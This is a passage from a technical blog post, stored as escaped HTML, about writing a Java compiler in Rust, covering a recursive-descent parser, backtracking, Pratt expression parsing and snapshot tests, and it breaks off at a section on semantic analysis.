    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;methods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Signature&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We produced this using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Parser&lt;/code&gt; struct with functions for parsing different constructs that could also return parse errors. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Parser&lt;/code&gt; struct had a number of helper functions to easily consume and inspect tokens, using the power of abstraction present in a full programming language to get closer to the brevity of a parser generator grammar DSL. Here’s an example of what our parser looked like:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;#[derive(Clone,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;Debug)]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ParseError&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;Unexpected&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpannedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;DuplicateModifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpannedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;MultipleVisibilities&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Parser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;tokens&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;&apos;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpannedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_for_statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PResult&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForStatement&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.eat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;For&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.eat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LParen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;init&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.parse_unless_and_eat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Semicolon&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_for_init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;condition&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.parse_unless_and_eat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Semicolon&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;update&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.parse_unless_and_eat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RParen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_statement_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.parse_statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForStatement&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;condition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;backtracking&quot;&gt;Backtracking&lt;/h3&gt;

&lt;p&gt;Mostly our parser takes the form of an &lt;a href=&quot;https://en.wikipedia.org/wiki/LL_parser&quot;&gt;LL(1) parser&lt;/a&gt;, which looks ahead one token to decide how it should parse. But some constructs require unlimited lookahead to parse. For example &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(java.lang.String)a&lt;/code&gt; should parse as a parenthesized field access chain on the ‘java’ variable except for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; at the end, which makes it a cast expression. In fact even &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LR(1)&lt;/code&gt; parsers can’t parse this specific case properly, and the recommended hack is to parse the inside of the parens as an “expression” and then just validate in the weeder that the expression is actually a type.&lt;/p&gt;

&lt;p&gt;We solve this problem using backtracking, which is where we can save a position in the token stream, speculatively parse the following input as one construct, and then roll back to that saved position if that parsing fails. This can cause non-linear parse times on pathological input, but pathological cases don’t occur non-maliciously in practice, especially if backtracking is only used in some situations rather than for the whole parser.&lt;/p&gt;

&lt;p&gt;An alternative strategy to backtracking that works in some situations is to parse the common elements of both nonterminals that could follow, then once the parser reaches the point where it can decide, it calls the specific non-terminal function passing what has been parsed so far as arguments. We use this strategy for deciding between parsing classes and interfaces and between parsing methods and constructors, by parsing the modifiers first, then looking ahead, then parsing the rest passing the parsed modifiers as arguments.&lt;/p&gt;

&lt;p&gt;We have Rust helper functions that make backtracking really easy by trying one parse and then trying another if the first parse returns an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Err&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Unlike the Java spec, we can have arguments like `allow_minus` to avoid&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// massive duplication in the case of minor special cases.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// `allow_minus` makes sure `(a)-b` parses as `int-int` rather than `(Type)(-int)`&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;parse_prim_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allow_minus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AllowMinus&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PResult&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Box&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Expr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tokens&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lhs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tok&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LParen&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.one_of&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_cast_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parse_paren_expr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;pratt-expression-parsing&quot;&gt;Pratt expression parsing&lt;/h3&gt;

&lt;p&gt;Instead of parsing expressions with precedence using many grammar levels, we use a &lt;a href=&quot;https://www.oilshell.org/blog/2017/03/31.html&quot;&gt;Pratt parsing / precedence climbing&lt;/a&gt; system. This algorithm allows specifying the operators as a table with a “binding power” integer, with higher binding power for operators with higher precedence. This is both easier and more efficient for parsing expressions with many levels of precedence.&lt;/p&gt;

&lt;p&gt;Instead of using data tables like in the canonical Pratt parser implementation, we used Rust functions with match statements, which fill the same purpose but with more power and no need to keep a data structure around:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;binding_power&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SpannedToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cur&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.tok&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Operator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Times&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Divide&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Modulo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Plus&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Minus&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Greater&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GreaterEqual&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Less&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LessEqual&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Equal&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NotEqual&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;nn&quot;&gt;Op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;And&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;Token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Instanceof&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Some&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;snapshot-testing&quot;&gt;Snapshot testing&lt;/h2&gt;

&lt;p&gt;Starting when we did our parser and continuing for the rest of our compiler, we made extensive use of snapshot testing with the &lt;a href=&quot;https://github.com/mitsuhiko/insta&quot;&gt;insta crate&lt;/a&gt;. Snapshot testing (similar to &lt;a href=&quot;https://blog.janestreet.com/testing-with-expectations/&quot;&gt;expect tests&lt;/a&gt;) allows you to write tests which just provide the resulting data structure of some process and the testing system will create a “snapshot” of the result of that test in a file, and if the result ever changes it will cause a test failure and show you the diff between the snapshot file and the result it got. If the change was expected, you can then run a command to update the snapshot files that changed.&lt;/p&gt;

&lt;p&gt;This was super useful for writing our parser, before we could parse full files and do anything with them, we could parse short snippets into AST types implementing the Rust &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug&lt;/code&gt; trait, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;insta&lt;/code&gt; would create pretty-printed snapshots that we could inspect for correctness, and then commit to check for future regressions.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;#[test]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;test_statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lexer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;file_lexer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;testdata/statements.java&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tokens&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lexer&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.lex_all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Parser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tokens&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;statement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parser&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.parse_statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;assert_debug_snapshot_matches!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;statements&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;statement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Later during the code generation phase we used this extensively to check our assembly output on test programs.&lt;/p&gt;

&lt;h2 id=&quot;semantic-analysis&quot;&gt;Semantic analysis&lt;/h2&gt;

&lt;p&gt;About half of our compiler is in the middle-end passes which compute information necessary for code generation and verify various correctness properties. This includes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Resolving variable and type names.&lt;/li&gt;
  &lt;li&gt;Folding constant expressions like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5*3+2&lt;/code&gt; into numbers.&lt;/li&gt;
